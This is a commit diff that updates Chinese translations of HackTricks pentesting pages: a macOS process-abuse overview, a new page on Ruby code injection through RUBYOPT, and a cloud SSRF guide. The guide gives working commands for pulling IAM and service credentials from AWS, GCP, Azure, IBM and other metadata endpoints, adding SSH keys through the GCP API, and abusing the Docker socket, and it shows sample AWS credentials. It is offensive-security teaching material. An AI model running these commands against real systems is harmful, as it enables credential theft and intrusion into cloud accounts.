Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-01-22 12:36:54 +00:00
parent 575f155096
commit 42c755d3de
4 changed files with 127 additions and 64 deletions

View file

@ -179,6 +179,7 @@
* [macOS Library Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md)
* [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
* [macOS Perl Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md)
* [macOS Ruby Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md)
* [macOS .Net Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md)
* [macOS Security Protections](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md)
* [macOS Gatekeeper / Quarantine / XProtect](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md)

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>从零到英雄学习 AWS 黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
* 如果您想在 **HackTricks 中看到您的公司广告** **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 的收藏
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>
## MacOS 进程滥用
MacOS像其他操作系统一样提供了多种方法和机制用于**进程之间的互动、通信和数据共享**。虽然这些技术对于系统的高效运行至关重要,但它们也可能被威胁行为者滥用**执行恶意活动**。
MacOS像其他操作系统一样提供了多种方法和机制用于**进程之间的互动、通信和数据共享**。虽然这些技术对于系统的高效运行至关重要,但它们也可能被威胁行为者滥用,以**执行恶意活动**。
### 库注入
@ -36,7 +36,7 @@ MacOS像其他操作系统一样提供了多种方法和机制用于**
### 进程间通信
进程间通信IPC指的是不同进程**共享和交换数据**的不同方法。虽然 IPC 对许多合法应用程序至关重要,但它也可能被滥用来破坏进程隔离、泄露敏感信息或执行未授权的操作。
进程间通信IPC指的是不同进程**共享和交换数据**的不同方法。虽然 IPC 对许多合法应用程序至关重要,但它也可能被滥用,以破坏进程隔离,泄露敏感信息或执行未授权的操作。
{% content-ref url="../mac-os-architecture/macos-ipc-inter-process-communication/" %}
[macos-ipc-inter-process-communication](../mac-os-architecture/macos-ipc-inter-process-communication/)
@ -52,7 +52,7 @@ MacOS像其他操作系统一样提供了多种方法和机制用于**
### Dirty NIB
NIB 文件**定义用户界面UI元素**及其在应用程序中的交互。然而,它们可以**执行任意命令**,并且**Gatekeeper 不会阻止**已经执行的应用程序被执行,如果**NIB 文件被修改**。因此,它们可以用来使任意程序执行任意命令:
NIB 文件**定义用户界面UI元素**及其在应用程序中的交互。然而,它们可以**执行任意命令**,并且**Gatekeeper 不会阻止**已经执行的应用程序被执行,如果**NIB 文件被修改**。因此,它们可以用来使任意程序执行任意命令:
{% content-ref url="macos-dirty-nib.md" %}
[macos-dirty-nib.md](macos-dirty-nib.md)
@ -60,7 +60,7 @@ NIB 文件**定义用户界面UI元素**及其在应用程序中的交互
### Java 应用程序注入
可以滥用某些 Java 能(如环境变量 **`_JAVA_OPTS`**)使 Java 应用程序执行**任意代码/命令**。
可以滥用某些 Java 能(如 **`_JAVA_OPTS`** 环境变量)使 Java 应用程序执行**任意代码/命令**。
{% content-ref url="macos-java-apps-injection.md" %}
[macos-java-apps-injection.md](macos-java-apps-injection.md)
@ -68,7 +68,7 @@ NIB 文件**定义用户界面UI元素**及其在应用程序中的交互
### .Net 应用程序注入
可以通过**滥用 .Net 调试功能**(不受 macOS 保护,如运行时加固)来注入 .Net 应用程序中的代码
可以通过**滥用 .Net 调试功能**(不受 macOS 保护,如运行时加固)来注入代码到 .Net 应用程序中。
{% content-ref url="macos-.net-applications-injection.md" %}
[macos-.net-applications-injection.md](macos-.net-applications-injection.md)
@ -76,23 +76,31 @@ NIB 文件**定义用户界面UI元素**及其在应用程序中的交互
### Perl 注入
不同的选项,使 Perl 脚本在以下位置执行任意代码:
查不同的选项,使 Perl 脚本在以下位置执行任意代码:
{% content-ref url="macos-perl-applications-injection.md" %}
[macos-perl-applications-injection.md](macos-perl-applications-injection.md)
{% endcontent-ref %}
### Ruby 注入
也可以滥用 Ruby 环境变量,使任意脚本执行任意代码:
{% content-ref url="macos-ruby-applications-injection.md" %}
[macos-ruby-applications-injection.md](macos-ruby-applications-injection.md)
{% endcontent-ref %}
### Python 注入
如果设置了环境变量 **`PYTHONINSPECT`**Python 进程在完成后会进入 Python 命令行界面。也可以使用 **`PYTHONSTARTUP`** 来指示在交互式会话开始时执行的 Python 脚本。\
如果设置了环境变量 **`PYTHONINSPECT`**Python 进程在结束后会进入 Python 命令行界面。也可以使用 **`PYTHONSTARTUP`** 来指示在交互式会话开始时执行的 Python 脚本。\
但是,请注意,当 **`PYTHONINSPECT`** 创建交互式会话时,**`PYTHONSTARTUP`** 脚本不会被执行。
其他环境变量,如 **`PYTHONPATH`** 和 **`PYTHONHOME`**,也可能有助于使 Python 命令执行任意代码。
其他环境变量,如 **`PYTHONPATH`** 和 **`PYTHONHOME`**,也可以用来使 Python 命令执行任意代码。
请注意,使用 **`pyinstaller`** 编译的可执行文件即使使用嵌入式 Python 运行,也不会使用这些环境变量。
请注意,使用 **`pyinstaller`** 编译的可执行文件即使在使用嵌入式 Python 运行时也不会使用这些环境变量。
{% hint style="danger" %}
总的来说,我没有找到利用环境变量使 Python 执行任意代码的方法。\
总的来说,我没有找到一种方法可以通过滥用环境变量使 Python 执行任意代码。\
然而,大多数人使用 **Homebrew** 安装 Python这将在默认管理员用户的**可写位置**安装 Python。您可以用类似的方法劫持它
```bash
mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
@ -114,14 +122,14 @@ chmod +x /opt/homebrew/bin/python3
* 使用**环境变量**:它会监控以下任何环境变量的存在:**`DYLD_INSERT_LIBRARIES`**、**`CFNETWORK_LIBRARY_PATH`**、**`RAWCAMERA_BUNDLE_PATH`** 和 **`ELECTRON_RUN_AS_NODE`**
* 使用 **`task_for_pid`** 调用:找出一个进程何时想要获取**另一个进程的任务端口**,这允许向进程中注入代码。
* **Electron 应用参数**:有人可以使用 **`--inspect`**、**`--inspect-brk`** 和 **`--remote-debugging-port`** 命令行参数来启动 Electron 应用的调试模式,从而向其中注入代码。
* **Electron 应用参数**:有人可以使用 **`--inspect`**、**`--inspect-brk`** 和 **`--remote-debugging-port`** 命令行参数来启动 Electron 应用程序的调试模式,从而向其中注入代码。
* 使用**符号链接**或**硬链接**:通常最常见的滥用是**用我们的用户权限放置一个链接**,并**指向更高权限**的位置。对于硬链接和符号链接,检测非常简单。如果创建链接的进程与目标文件的**权限级别不同**,我们会创建一个**警报**。不幸的是,在符号链接的情况下,阻止是不可能的,因为我们在创建之前没有关于链接目的地的信息。这是苹果的 EndpointSecuriy 框架的一个限制。
### 其他进程发起的调用
### 其他进程发起的调用
在[**这篇博客文章**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html)中,你可以找到如何使用函数 **`task_name_for_pid`** 来获取有关其他**进程在一个进程中注入代码**的信息,然后获取有关那个其他进程的信息。
在[**这篇博客文章**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html)中,你可以找到如何使用函数 **`task_name_for_pid`** 来获取有关其他**进程在进程中注入代码**的信息,然后获取有关那个其他进程的信息。
请注意,要调用该函数,你需要与运行进程的**相同 uid** 或者是 **root**(它返回有关进程的信息,而不是注入代码的方法)。
请注意,要调用该函数,你需要与运行进程的用户具有**相同 uid**或者是**root**(它返回有关进程的信息,而不是注入代码的方法)。
## 参考资料
@ -132,7 +140,7 @@ chmod +x /opt/homebrew/bin/python3
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> 从零开始学习 AWS 黑客攻击!</strong></summary>
其他支持 HackTricks 的方式:
支持 HackTricks 的其他方式:
* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)

View file

@ -0,0 +1,59 @@
# macOS Ruby 应用程序注入
<details>
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
* 如果您希望在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>
## RUBYOPT
使用这个环境变量可以在每次执行 **ruby** 时**添加新的参数**。虽然不能使用参数 **`-e`** 来指定要执行的 ruby 代码,但可以使用参数 **`-I`** 和 **`-r`** 来添加一个新的文件夹到库加载路径,然后**指定一个要加载的库**。
**`/tmp`** 中创建库 **`inject.rb`**
{% code title="inject.rb" %}
```ruby
puts `whoami`
```
```markdown
{% endcode %}
在任何地方创建一个像这样的Ruby脚本
{% code title="hello.rb" %}
```
```ruby
puts 'Hello, World!'
```
```markdown
然后使用以下命令加载一个任意的ruby脚本
```
```bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb
```
趣事,即使使用参数 **`--disable-rubyopt`** 也能工作:
```bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
```
<details>
<summary><strong>从零到英雄学习AWS黑客攻击通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,20 +1,20 @@
# 云SSRF
# 云SSRF
<details>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
<summary><strong>从零到英雄学习AWS黑客技术参加</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) [**telegram群组**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到对您最重要的漏洞以便更快修复它们。Intruder追踪您的攻击面运行主动威胁扫描在您的整个技术栈中找到问题从API到Web应用程序和云系统。[**今天就免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
@ -26,9 +26,9 @@
### 在AWS EC2环境中滥用SSRF
**元数据**端点可以从任何EC2机器内部访问并提供有关它的有趣信息。它可以通过URL访问`http://169.254.169.254` ([关于元数据的信息在这里](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html))
**元数据**端点可以从任何EC2机器内部访问并提供有关它的有趣信息。它可以通过以下URL访问`http://169.254.169.254`[关于元数据的信息在这里](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)
元数据端点有**两个版本**。**第一个版本**允许通过**GET**请求**访问**端点(因此任何**SSRF都可以利用它**)。对于**第二个版本**[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html),您需要通过发送带有**HTTP头**的**PUT**请求来请求一个**令牌**然后使用该令牌和另一个HTTP头来访问元数据因此用SSRF滥用它**更复杂**)。
元数据端点有**两个版本**。**第一个版本**允许通过**GET**请求**访问**端点(因此任何**SSRF都可以利用它**)。对于**第二个版本**[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html),您需要发送**PUT**请求并带有一个**HTTP头**来请求一个**令牌**然后使用该令牌和另一个HTTP头来访问元数据因此用SSRF滥用它**更复杂**)。
{% hint style="danger" %}
请注意如果EC2实例正在强制执行IMDSv2[**根据文档**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)**PUT请求的响应**将具有**跳数限制为1**使得无法从EC2实例内的容器访问EC2元数据。
@ -98,9 +98,9 @@ eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance";
```
作为一个**公开可用的IAM凭证**暴露的例子,您可以访问:[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
您也可以在以下位置检查公开的**EC2安全凭证**[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
您也可以在以下链接检查公开的**EC2安全凭证**[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
然后,您可以**使用这些凭证结合AWS CLI**。这将允许您做**该角色有权限做的任何事情**。
然后,您可以**取得这些凭证并将它们与AWS CLI一起使用**。这将允许您做任何该角色有权限做的**事情**。
要利用新的凭证您需要像这样创建一个新的AWS配置文件
```
@ -109,7 +109,7 @@ aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
注意 **aws\_session\_token**,这对于配置文件的工作是必不可少的。
注意 **aws\_session\_token**,这对于配置文件的工作是必不可少的。
可以使用[**PACU**](https://github.com/RhinoSecurityLabs/pacu)与发现的凭证一起使用,以了解您的权限并尝试提升权限
@ -127,7 +127,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
请注意,在**某些情况下**,您将能够从容器访问**EC2元数据实例**请检查之前提到的IMDSv2 TTL限制。在这些场景中您可以从容器访问容器IAM角色和EC2 IAM角色。
{% endhint %}
### AWS Lambda的SSRF <a href="#6f97" id="6f97"></a>
### AWS Lambda的SSRF <a href="#id-6f97" id="id-6f97"></a>
在这种情况下,**凭证存储在环境变量中**。因此,要访问它们,您需要访问类似**`file:///proc/self/environ`**的内容。
@ -137,36 +137,38 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
* `AWS_SECRET_ACCESS_KEY`
* `AWS_ACCES_KEY_ID`
此外除了IAM凭证Lambda函数还有**在启动时传递给函数的事件数据**。这些数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数,并可能包含**敏感**的**信息**(如在**stageVariables**内部。与IAM凭证不同这些数据可以通过标准的SSRF在**`http://localhost:9001/2018-06-01/runtime/invocation/next`**访问。
此外除了IAM凭证外Lambda函数还有**在启动时传递给函数的事件数据**。这些数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数,并可能包含**敏感**的**信息**(如在**stageVariables**。与IAM凭证不同这些数据可以通过标准的SSRF在**`http://localhost:9001/2018-06-01/runtime/invocation/next`**访问。
{% hint style="warning" %}
请注意,**lambda凭证**位于**环境变量**中。因此如果lambda代码的**堆栈跟踪**打印环境变量,通过在应用程序中**引发错误**可以**泄露**它们。
{% endhint %}
### AWS Elastic Beanstalk的SSRF URL <a href="#6f97" id="6f97"></a>
### AWS Elastic Beanstalk的SSRF URL <a href="#id-6f97" id="id-6f97"></a>
我们从API检索`accountId`和`region`。
```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
我们随后从API中检索`AccessKeyId`、`SecretAccessKey`和`Token`。
我们接着从API中检索`AccessKeyId`、`SecretAccessKey`和`Token`。
```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
## GCP <a href="#6440" id="6440"></a>
然后我们使用凭证 `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`
您可以在[**这里找到有关元数据端点的文档**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata)。
## GCP <a href="#id-6440" id="id-6440"></a>
### Google Cloud 的 SSRF URL <a href="#6440" id="6440"></a>
您可以[**在此处找到有关元数据端点的文档**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata)。
需要头部 "Metadata-Flavor: Google" 或 "X-Google-Metadata-Request: True",您可以通过以下 URL 访问元数据端点:
### Google Cloud 的 SSRF URL <a href="#id-6440" id="id-6440"></a>
需要 HTTP 头 **`Metadata-Flavor: Google`**,您可以通过以下 URL 访问元数据端点:
* http://169.254.169.254
* http://metadata.google.internal
* http://metadata
用于提取信息的有趣端点
有趣的端点以提取信息
```bash
# /project
# Project name and number
@ -265,7 +267,7 @@ gcloud config unset auth/access_token_file
```
{% endhint %}
### 添加 SSH 密钥 <a href="#3e24" id="3e24"></a>
### 添加 SSH 密钥 <a href="#id-3e24" id="id-3e24"></a>
提取令牌
```
@ -290,17 +292,13 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
```markdown
{% endcode %}
## Digital Ocean <a href="#9f1f" id="9f1f"></a>
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
{% hint style="warning" %}
这里没有类似AWS Roles或GCP服务账户的东西所以不要期望找到元数据机器人凭证
Digital Ocean没有类似AWS Roles或GCP服务账户的东西所以不要期望找到元数据机器人凭证
{% endhint %}
文档可在 [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) 查看
```
文档可在[`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)查看
```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
@ -312,9 +310,9 @@ http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到对您最重要的漏洞,以便您能更快修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术栈中找到问题,从 API 到 Web 应用程序和云系统。今天就[**免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
找到最重要的漏洞,以便您可以更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术栈中找到问题,从 API 到 web 应用程序和云系统。今天就[**免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -327,7 +325,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
[**文档**在这里](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux)。
* **必须**包含头部 `Metadata: true`
* **不**包含 `X-Forwarded-For` 头部
* **不**包含 `X-Forwarded-For` 头部
{% tabs %}
{% tab title="Bash" %}
@ -378,7 +376,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
**env** 中,你可以获取 `IDENTITY_HEADER` _和_ `IDENTITY_ENDPOINT` 的值。你可以使用这些值来获取一个令牌,以便与元数据服务器通信。
大多数情况下,你会想要以下资源之一的令牌:
大多数情况下,你需要为以下资源之一获取令牌:
* [https://storage.azure.com](https://storage.azure.com/)
* [https://vault.azure.net](https://vault.azure.net/)
@ -452,10 +450,10 @@ At line:1 char:1
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
```
## IBM Cloud <a href="#2af0" id="2af0"></a>
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
{% hint style="warning" %}
请注意,在IBM中默认情况下不启用元数据因此即使您位于IBM cloud VM内部,也可能无法访问它。
请注意,默认情况下 IBM 不启用元数据,因此即使您位于 IBM Cloud VM 内部,也可能无法访问它。
{% endhint %}
{% code overflow="wrap" %}
@ -482,23 +480,21 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
```markdown
{% endcode %}
## Packetcloud <a href="#2af0" id="2af0"></a>
## Packetcloud <a href="#id-2af0" id="id-2af0"></a>
文档可在 [`https://metadata.packet.net/userdata`](https://metadata.packet.net/userdata) 获取
## OpenStack/RackSpace <a href="#2ffc" id="2ffc"></a>
## OpenStack/RackSpace <a href="#id-2ffc" id="id-2ffc"></a>
(是否需要头部?未知)
```
```
http://169.254.169.254/openstack
```
## HP Helion <a href="#a8e0" id="a8e0"></a>
(是否需要头部?未知)
(是否需要头部信息?未知)
```
http://169.254.169.254/2009-04-04/meta-data/
```
@ -509,7 +505,7 @@ http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
```
## 阿里巴巴 <a href="#51bd" id="51bd"></a>
## 阿里巴巴 <a href="#id-51bd" id="id-51bd"></a>
```
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
@ -529,18 +525,17 @@ docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
```
## Rancher <a href="#8cb7" id="8cb7"></a>
## Rancher <a href="#id-8cb7" id="id-8cb7"></a>
```
curl http://rancher-metadata/<version>/<path>
```
```markdown
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到对您最重要的漏洞,以便您能更快修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术栈中找到问题,从 API 到 web 应用程序和云系统。[**免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今天。
找到最重要的漏洞,以便您可以更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术栈中找到问题,从 API 到 web 应用程序和云系统。[**免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今天。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>从零开始学习 AWS 黑客技术,成为英雄,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@ -549,7 +544,7 @@ curl http://rancher-metadata/<version>/<path>
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
